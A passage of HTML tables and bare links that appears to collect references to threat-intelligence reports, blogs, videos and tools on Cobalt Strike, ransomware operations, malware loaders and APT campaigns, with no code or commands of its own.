<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/tin-woodlawn">https://www.secureworks.com/research/threat-profiles/tin-woodlawn</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mohawk">https://www.secureworks.com/research/threat-profiles/bronze-mohawk</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html">https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/05/12/conti-ransomware/">https://thedfirreport.com/2021/05/12/conti-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/alex_lanstein/status/1399829754887524354">https://twitter.com/alex_lanstein/status/1399829754887524354</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-148a">https://us-cert.cisa.gov/ncas/alerts/aa21-148a</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-kingswood">https://www.secureworks.com/research/threat-profiles/gold-kingswood</a></td>
</tr>
<tr>
<td><a href="https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b">https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=6SDdUVejR2w">https://www.youtube.com/watch?v=6SDdUVejR2w</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html">https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-275a">https://us-cert.cisa.gov/ncas/alerts/aa20-275a</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/cGS8FocPnUbconLbbaG-g">https://mp.weixin.qq.com/s/cGS8FocPnUbconLbbaG-g</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/">https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-----</td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper">https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/REvil_RaaS">https://blog.group-ib.com/REvil_RaaS</a></td>
</tr>
<tr>
<td><a href="https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection">https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection</a></td>
</tr>
<tr>
<td><a href="https://rastamouse.me/ntlm-relaying-via-cobalt-strike/">https://rastamouse.me/ntlm-relaying-via-cobalt-strike/</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/">https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/intelligence-insights-december-2021">https://redcanary.com/blog/intelligence-insights-december-2021</a></td>
</tr>
<tr>
<td><a href="https://netresec.com/?b=214d7ff">https://netresec.com/?b=214d7ff</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/">https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/</a></td>
</tr>
<tr>
<td><a href="https://blog.zsec.uk/cobalt-strike-profiles/">https://blog.zsec.uk/cobalt-strike-profiles/</a></td>
</tr>
</tbody>
</table>
https://www.qurium.org/alerts/targeted-malware-against-crph/
https://www.cynet.com/understanding-squirrelwaffle/
<a href="https://quake.360.cn/quake/reportDetail?id=5fc6fedd191038c3b25c4950">https://quake.360.cn/quake</a>/reportDetail?id=5fc6fedd191038c3b25c4950</a>
https://github.com/Apr4h/CobaltStrikeScan
https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/
https://www.lac.co.jp/lacwatch/people/20180521_001638.html
https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20
https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/
https://www.secureworks.com/blog/detecting-cobalt-strike-cybercrime-attacks
https://thedfirreport.com/2022/03/07/2021-year-in-review/
https://explore.group-ib.com/htct/hi-tech_crime_2018
https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns
https://twitter.com/AltShiftPrtScn/status/1385103712918642688
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Unit42_Intel/status/1458113934024757256">https://twitter.com/Unit42_Intel/status/1458113934024757256</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28664">https://isc.sans.edu/diary/rss/28664</a></td>
</tr>
<tr>
<td><a href="https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware">https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489">https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/TheDFIRReport/status/1359669513520873473">https://twitter.com/TheDFIRReport/status/1359669513520873473</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LA-XE5Jy2kU">https://www.youtube.com/watch?v=LA-XE5Jy2kU</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-winter">http://www.secureworks.com/research/threat-profiles/gold-winter</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html">https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/05/ctir-case-study.html">https://blog.talosintelligence.com/2021/05/ctir-case-study.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AltShiftPrtScn/status/1403707430765273095">https://twitter.com/AltShiftPrtScn/status/1403707430765273095</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/defining-cobalt-strike-components">https://www.mandiant.com/resources/defining-cobalt-strike-components</a></td>
</tr>
<tr>
<td><a href="https://www.inde.nz/blog/different-kind-of-zoombomb">https://www.inde.nz/blog/different-kind-of-zoombomb</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/webcasts/contrarian-view-solarwinds-119515">https://www.sans.org/webcasts/contrarian-view-solarwinds-119515</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/">https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/felixw3000/status/1521816045769662468">https://twitter.com/felixw3000/status/1521816045769662468</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/darktortilla-malware-analysis">https://www.secureworks.com/blog/darktortilla-malware-analysis</a></td>
</tr>
<tr>
<td><a href="https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/">https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/">https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a">https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=GfbxHy6xnbA">https://www.youtube.com/watch?v=GfbxHy6xnbA</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltoneetworks.com/cobalt-strike-malleable-c2-profile/">https://unit42.paloaltoneetworks.com/cobalt-strike-malleable-c2-profile/</a></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/">https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/</a></td>
</tr>
<tr>
<td><a href="https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes">https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/703548">https://cert.gov.ua/article/703548</a></td>
</tr>
<tr>
<td><a href="https://github.com/Sentinel-One/CobaltStrikeParser/blob/master/parse_beacon_config.py">https://github.com/Sentinel-One/CobaltStrikeParser/blob/master/parse_beacon_config.py</a></td>
</tr>
<tr>
<td><a href="https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf">https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/">https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/media/10916/download">https://www.mandiant.com/media/10916/download</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups">https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/">https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxis-defray777/5/">https://unit42.paloaltonetworks.com/vatet-pyxis-defray777/5/</a></td>
</tr>
<tr>
<td><a href="https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-011/">https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-011/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/media/12596/download">https://www.mandiant.com/media/12596/download</a></td>
</tr>
<tr>
<td><a href="https://blog.cobaltstrike.com/2020/11/06/cobalt-strike-4-2-everything-but-the-kitchen-sink/">https://blog.cobaltstrike.com/2020/11/06/cobalt-strike-4-2-everything-but-the-kitchen-sink/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=ysN-MqylN7M">https://www.youtube.com/watch?v=ysN-MqylN7M</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign</a></td>
</tr>
<tr>
<td><a href="https://www.malware-traffic-analysis.net/2021/09/17/index.html">https://www.malware-traffic-analysis.net/2021/09/17/index.html</a></td>
</tr>
<tr>
<td><a href="https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/">https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/</a></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine">https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine</a></td>
</tr>
<tr>
<td><a href="https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html">https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-president">https://www.secureworks.com/research/threat-profiles/bronze-president</a></td>
</tr>
<tr>
<td><a href="https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/">https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html">https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html</a></td>
</tr>
<tr>
<td><a href="https://blog.cylb.com/2022/06/07/bumblebee-loader-on-the-rise/">https://blog.cylb.com/2022/06/07/bumblebee-loader-on-the-rise/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html">https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/">https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure">https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/0bcefe76">https://community.riskiq.com/article/0bcefe76</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=gfYswA_Ronw">https://www.youtube.com/watch?v=gfYswA_Ronw</a></td>
</tr>
<tr>
<td><a href="https://thedefirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/">https://thedefirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/vmware-identity-manager-attack-backdoor">https://blog.morphisec.com/vmware-identity-manager-attack-backdoor</a></td>
</tr>
<tr>
<td><a href="http://blog.nsfocus.net/murenshark">http://blog.nsfocus.net/murenshark</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AltShiftPrtScn/status/1350755169965924352">https://twitter.com/AltShiftPrtScn/status/1350755169965924352</a></td>
</tr>
<tr>
<td><a href="https://haggis-m.medium.com/malleable-c2-profiles-and-you-7c7ab43e7929">https://haggis-m.medium.com/malleable-c2-profiles-and-you-7c7ab43e7929</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/gootloader">https://redcanary.com/blog/gootloader</a></td>
</tr>
<tr>
<td><a href="https://www.macnica.net/file/mpression_automobile.pdf">https://www.macnica.net/file/mpression_automobile.pdf</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q3-2020/99204/">https://securelist.com/apt-trends-report-q3-2020/99204/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/shipping-companies-ransomware-credentials">https://intel471.com/blog/shipping-companies-ransomware-credentials</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e">https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e</a></td>
</tr>
<tr>
<td><a href="https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections">https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/">https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/">https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=WW0_TgWT2gs">https://www.youtube.com/watch?v=WW0_TgWT2gs</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack">https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/27308">https://isc.sans.edu/diary/27308</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/">https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/</a></td>
</tr>
<tr>
<td><a href="https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive">https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/">https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/</a></td>
</tr>
<tr>
<td><a href="https://mez0.cc/posts/cobaltstrike-powershell-exec/">https://mez0.cc/posts/cobaltstrike-powershell-exec/</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2022/05/10/a-malware-analysis-in-ru-au-conflict/">https://marcoramilli.com/2022/05/10/a-malware-analysis-in-ru-au-conflict/</a></td>
</tr>
<tr>
<td>Link</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware">https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cobalt-strike-memory-analysis/">https://unit42.paloaltonetworks.com/cobalt-strike-memory-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.cobaltstrike.com/support">https://www.cobaltstrike.com/support</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/">https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/26752">https://isc.sans.edu/diary/26752</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/">https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/</a></td>
</tr>
<tr>
<td><a href="https://binary.ninja/2022/07/22/reverse-engineering-cobalt-strike.html">https://binary.ninja/2022/07/22/reverse-engineering-cobalt-strike.html</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/russian-targeting-gov-business">https://www.mandiant.com/resources/russian-targeting-gov-business</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/">https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c">https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c</a></td>
</tr>
<tr>
<td><a href="https://awakesecurity.com/blog/catching-the-white-stork-in-flight/">https://awakesecurity.com/blog/catching-the-white-stork-in-flight/</a></td>
</tr>
<tr>
<td><a href="https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py">https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py</a></td>
</tr>
</tbody>
</table>
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine
https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv
https://cert.gov.ua/article/37704
https://connormcgarr.github.io/thread-hijacking/
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware
https://cyber.wtf/2022/03/23/what-the-packer/
https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/
https://github.com/infinitumitlabs/Karakurt-Hacking-Team-CTI
https://intel471.com/blog/conti-emotet-ransomware-conti-leaks
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://community.riskiq.com/article/f0320980">https://community.riskiq.com/article/f0320980</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-niagara">https://www.secureworks.com/research/threat-profiles/gold-niagara</a></td>
</tr>
<tr>
<td><a href="https://paper.seebug.org/1301/">https://paper.seebug.org/1301/</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf">https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Cryptolaemus1/status/1407135648528711680">https://twitter.com/Cryptolaemus1/status/1407135648528711680</a></td>
</tr>
<tr>
<td><a href="https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-exortion-group/">https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-exortion-group/</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/">https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/">https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/</a></td>
</tr>
<tr>
<td><a href="https://cpj.org/2021/02/vietnam-based-hacking-oceanlotus-targets-journalists">https://cpj.org/2021/02/vietnam-based-hacking-oceanlotus-targets-journalists</a></td>
</tr>
<tr>
<td><a href="https://experience.mandiant.com/trending-evil-2/p/1">https://experience.mandiant.com/trending-evil-2/p/1</a></td>
</tr>
<tr>
<td><a href="https://security.macnica.co.jp/blog/2022/05/iso.html">https://security.macnica.co.jp/blog/2022/05/iso.html</a></td>
</tr>
<tr>
<td><a href="https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/">https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/</a></td>
</tr>
<tr>
<td><a href="https://www2.deloitte.com/content/dam/Deloitte/dk/Documents/Grabngo/Aarhus_miniseminar_29118.pdf">https://www2.deloitte.com/content/dam/Deloitte/dk/Documents/Grabngo/Aarhus_miniseminar_29118.pdf</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/">https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1522690116979855360">https://twitter.com/MsftSecIntel/status/1522690116979855360</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Unit42_Intel/status/1461004489234829320">https://twitter.com/Unit42_Intel/status/1461004489234829320</a></td>
</tr>
<tr>
<td><a href="https://www.cynet.com/attack-techniques-hands-on/threats-loomng-over-the-horizon/">https://www.cynet.com/attack-techniques-hands-on/threats-loomng-over-the-horizon/</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/">https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/</a></td>
</tr>
<tr>
<td><a href="https://wbglil.gitbook.io/cobalt-strike/">https://wbglil.gitbook.io/cobalt-strike/</a></td>
</tr>
<tr>
<td><a href="https://www.contextis.com/en/blog/dll-search-order-hijacking">https://www.contextis.com/en/blog/dll-search-order-hijacking</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/26862">https://isc.sans.edu/diary/rss/26862</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2021/05/05/intervention-halts-a-proxylogon-enabled-attack">https://news.sophos.com/en-us/2021/05/05/intervention-halts-a-proxylogon-enabled-attack</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/28636">https://isc.sans.edu/diary/28636</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28752">https://isc.sans.edu/diary/rss/28752</a></td>
</tr>
<tr>
<td><a href="https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/">https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/">https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730">https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730</a></td>
</tr>
<tr>
<td><a href="https://kienmanowar.wordpress.com/2022/06/04/quicknote-cobaltstrike-smb-beacon-analysis-2/">https://kienmanowar.wordpress.com/2022/06/04/quicknote-cobaltstrike-smb-beacon-analysis-2/</a></td>
</tr>
<tr>
<td><a href="https://www.varonis.com/blog/hive-ransomware-analysis">https://www.varonis.com/blog/hive-ransomware-analysis</a></td>
</tr>
<tr>
<td>Link</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://blog.exattrack.com/melofee/">https://blog.exattrack.com/melofee/</a></td>
</tr>
<tr>
<td><a href="https://www.istrosec.com/blog/apt-sk-cobalt/">https://www.istrosec.com/blog/apt-sk-cobalt/</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html">https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing">https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/">https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=XfUTpwZKCDU">https://www.youtube.com/watch?v=XfUTpwZKCDU</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/">https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/</a></td>
</tr>
<tr>
<td><a href="https://www.arashparsa.com/hook-heaps-and-live-free/">https://www.arashparsa.com/hook-heaps-and-live-free/</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2022/09/26/bumblebee-round-two/">https://thedfirreport.com/2022/09/26/bumblebee-round-two/</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/grief-ransomware/">https://redcanary.com/blog/grief-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html">https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/">https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-249a">https://www.cisa.gov/uscert/ncas/alerts/aa22-249a</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encoding-decoding/">https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encoding-decoding/</a></td>
</tr>
<tr>
<td><a href="https://blog.nviso.eu/2022/03/22/cobalt-strike-overview-part-7/">https://blog.nviso.eu/2022/03/22/cobalt-strike-overview-part-7/</a></td>
</tr>
<tr>
